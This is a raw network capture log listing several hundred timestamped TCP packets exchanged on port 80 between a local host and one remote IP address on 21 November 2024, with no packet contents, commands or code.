Nov 21, 2024 14:11:12.694619894 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.694622993 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.694658041 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.694766045 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.695457935 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.695507050 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.695511103 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.695545912 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.695604086 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.696302891 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.696356058 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.696372032 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.696392059 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.696399927 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.696445942 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.697181940 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.697235107 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.697247982 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.697268963 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.697324038 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.698096037 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.698129892 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.698151112 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.698165894 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.698210955 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.698956966 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.698992968 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.699012995 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.699026108 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.699073076 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.699826956 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.699879885 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.699913979 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.699944019 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.699966908 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:12.700691938 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:12.700742960 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.028588057 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.028613091 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.028666019 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.028691053 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.036516905 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.036534071 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.036547899 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.036591053 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.036638975 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.150295019 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.150367022 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.150372982 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.150408030 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.150474072 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.150481939 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.150597095 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.150650978 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.150657892 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.150687933 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.150705099 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.150723934 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.150734901 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.150758028 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.150774002 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.150806904 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.150811911 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.150854111 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.150861979 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.150887966 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.150917053 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.150923967 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.150948048 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.150975943 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.150979996 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.151030064 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.151030064 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.151066065 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.151076078 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.151102066 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.151109934 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.151140928 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.151160955 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.151182890 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.151196003 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.151230097 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.151237011 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.151264906 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.151308060 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.151359081 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.151365995 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.151412964 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.151417017 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.151452065 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.151487112 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.151500940 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.151521921 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.151550055 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.151565075 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.151586056 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.151608944 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.151622057 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.151657104 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.151663065 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.151696920 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.151722908 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.151731014 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.151765108 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.151774883 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.151798964 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.151819944 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.151820898 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.151856899 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.151911020 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.151911974 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.151948929 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.151983023 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.152014017 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.152017117 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.152030945 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.152067900 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.152071953 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.152107000 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.152132034 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.152143002 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.152149916 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.152177095 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.152194977 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.152210951 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.152249098 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.152265072 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.152283907 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.152297020 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.152318954 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.152354002 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.152388096 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.152404070 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.152422905 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.152443886 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.152467966 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.152475119 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.152509928 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.152560949 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.152592897 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.152595997 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.152616024 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.152631044 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.152642965 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.152669907 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.152678013 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.152714014 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.152724028 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.152757883 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.152772903 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.152792931 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.152800083 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.152829885 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.152864933 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.152883053 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.152908087 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.152919054 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.152952909 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.152968884 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.153003931 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.153007030 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.153042078 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.153059006 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.153076887 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.153100014 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.153111935 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.153120995 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.153146982 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.153179884 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.153187037 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.153214931 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.153249025 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.153284073 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.153297901 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.153317928 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.153352976 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.153386116 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.153420925 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.153423071 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.153423071 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.153472900 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.153506041 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.153518915 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.153525114 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.153558016 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.153574944 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.153593063 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.153604031 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.153628111 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.153640032 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.153662920 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.153695107 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.153697014 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.153718948 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.153748035 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.153780937 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.153783083 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.153795958 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.153815985 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.153817892 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.153850079 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.153899908 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.153901100 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.153934956 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.153953075 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.153970003 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.153985977 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.154004097 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.154017925 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.154047012 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.154059887 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.154093981 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.154129028 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.154161930 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.154171944 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.154171944 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.154196024 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.154202938 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.154230118 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.154241085 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.154266119 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.154298067 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.154315948 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.154331923 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.154342890 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.154366970 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.154395103 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.154401064 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.154423952 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.154453039 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.155009031 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.155045033 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.155071020 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.155078888 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.155098915 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.155113935 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.155128002 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.155148983 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.155160904 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.155184984 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.155217886 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.155232906 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.155251980 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.155258894 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.155287027 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.155298948 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.155370951 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.155406952 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.155416965 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.155441999 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.155452967 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.155481100 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.155515909 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.155534983 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.155549049 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.155565023 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.155613899 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.155632019 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.155666113 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.155699968 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.155724049 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.155734062 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.155767918 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.155781984 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.155802965 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.155827045 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.155841112 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.155849934 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.155875921 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.155886889 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.155910015 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.155950069 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.155996084 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.156029940 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.156063080 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.156096935 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.156119108 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.156131983 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.156167984 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.156186104 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.156202078 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.156235933 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.156250954 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.156270027 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.156303883 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.156325102 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.156337976 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.156372070 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.156399965 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.156409025 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.156410933 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.156444073 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.156454086 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.156478882 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.156513929 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.156517029 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.156526089 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.156548023 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.156583071 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.156599045 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.156616926 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.156635046 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.156651974 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.156663895 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.156686068 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.156718969 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.156732082 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.156754017 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.156779051 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.156788111 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.156804085 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.156822920 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.156857967 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.156874895 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.156896114 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.156903982 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.156930923 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.156965971 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.156975031 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.157000065 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.157047033 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.157083988 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.157119036 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.157151937 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.157174110 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.157186031 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.157192945 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.157222033 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.157255888 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.157289982 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.157305956 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.157332897 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.157366991 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.157398939 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.157409906 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.157437086 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.157470942 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.157488108 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:13.157505035 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:13.157519102 CET	49876	80	192.168.2.6	31.41.244.11
